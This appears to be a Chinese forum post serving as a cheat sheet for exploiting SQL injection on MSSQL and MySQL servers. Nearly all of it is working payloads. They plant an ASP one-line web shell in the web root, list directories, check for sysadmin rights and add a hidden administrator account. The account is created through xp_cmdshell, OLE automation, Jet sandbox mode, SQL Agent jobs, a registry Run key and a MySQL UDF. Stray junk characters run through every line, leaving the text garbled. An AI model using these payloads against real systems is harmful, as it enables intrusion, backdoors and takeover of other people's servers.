MSSQL语句导出一句话木马5 i: D" d4 [: \: u; G
首先确定网站的WEB路径
! l5 d. @0 |4 ^% [;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
8 Z0 i& v" X @" G) P' s! K4 B2 K; e/ |3 q8 n3 B' f
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 6 D G0 }( ]) Q/ n
//将一句话木马插入表中
y+ k" |1 v2 @, s% F$ l- ~5 N7 G8 Q1 z+ l4 E
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 9 ]( z. p7 e6 ^$ u8 G3 ^+ u
//导出一个ASP文件, V" K& }! J$ W( o8 G. t
- R* c( N; y; I1 w
& U, g* P/ v7 N: \- o6 c7 j关于MSSQL列目录5 ^& [6 B) y! n8 V
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表9 w. L [- q" |- ^
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
( o$ ]6 }% G6 _
3 J; @9 ~! a; R: s: s& a3 q2 n1 F! Tand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录& I( u) U, W" k) S( c" t& N
. l4 f' j# X4 V0 K4 Q4 iAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
0 k. N2 `. W* E4 \( ]! |+ I
/ G2 a% a# t7 b& |And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符$ }+ W( {. b7 d' w
' c* |9 C" u) i! U1 M
: U+ l+ U' @; p% M- `数据库版本和权限查看
& ~, q- Q8 U# {2 x- I3 cand 1=(select @@VERSION) //查看详细的数据库信息.9 W" E+ f1 V+ s0 |" K7 w
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA f+ d* C S% E8 U
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
. d- l1 o. ?; y5 G& i! T4 V8 l6 M, P
# H- s, t( z1 w) L: c; V1.利用xp_cmdshell执行命令
+ f% T2 _. b1 c3 E$ \6 a& H& `exec master..xp_cmdshell 'net user rfire 123456 /add'
9 g, q; }% `* p3 `exec master..xp_cmdshell 'net localgroup administrators rfire /add'9 C, ]0 ^" n% J6 y5 H9 \" H
A" {: g R% } f: c" R
恢复xp_cmdshell存储过程
, ~7 w! R0 y1 d! x+ AExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'( A7 `- r1 _9 `7 A$ ?. N) Y- T+ }
! q2 ~% C" ]' s- n7 q* I# o
( N6 J5 [; n( k" r2.利用SP_OAcreate和SP_OAMETHOD执行命令" E: H, s4 |6 y+ v; |! R
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下$ ^. k0 `+ h. Z, I/ x
DECLARE @shell INT //建立一个@shell实体! T* n- n4 E* S+ S3 a
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
+ Q3 F1 a7 X3 d, \8 DEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例1 u9 T( P( O& M% t$ R M
- ?3 p8 [$ \) j! S0 q# T- J8 S4 t/ O# q
3 }' }1 S# h. ` X9 U" q- M3.利用沙盒模式
( v- f9 C l7 E先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
, p/ `/ p- B7 n; O5 D开启沙盒模式:
4 `+ n1 y# c9 O" v2 G" ]( \3 _EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0! i U2 g4 J2 D
6 n5 O, `6 k& }7 P) W
执行命令:% N2 o1 N P! V/ o" W( [
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');# E; @' \+ t/ e9 y! Y: K1 C
7 l3 U& z+ W) M; f; m
* z6 y! v* o0 b: j
4.利用SQL代理执行命令
4 W6 D9 ^2 u1 g D- b4 kEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务# k8 ]9 L/ E) @0 ?
4 [2 `! s8 ^( S U' e执行命令:
/ r0 d4 `; t9 S) W4 a* ]) S4 Muse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错/ E% K3 D; U6 x: N% R
exec sp_add_job 'x'
: [- Z2 |; Q& D1 _/ r8 X; Wexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
0 n e5 |9 P' {) h- oexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业 o$ [: l1 ~& L1 G# R. ?
$ _! t0 s' b \- Z/ Q( N
! F! E1 l& g/ e5 J* M
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
! n- Q. n. B! F; G, P$ XEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
1 Z8 C# o% j7 J8 y/ }/ m# ~+ s
# H) Y9 q N+ X- k: n
0 z; ~% q3 S- \5 e6.MYSQL的命令执行. d+ L8 Y, U) V. }8 F
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)' Q( f4 s* z: C l- z Q
首先要在su.php下导出c:\windows\udf.dll
& o' o! q9 N7 x- h2 q# T, R导出后执行创建自定义函数命令:
( S9 r3 V% n. w) T' W7 zCreate Function cmdshell returns string soname 'udf.dll'" Z5 U, Z7 K p% e: _8 M
执行命令
$ C" z/ v9 w3 B Dselect cmdshell('net user rfire 123456 /add')
& M9 D3 f5 d3 c/ J7 |5 f4 g( v/ x执行后删除函数 drop function cmdshell/ i. _3 S) B" F b$ ]1 g
|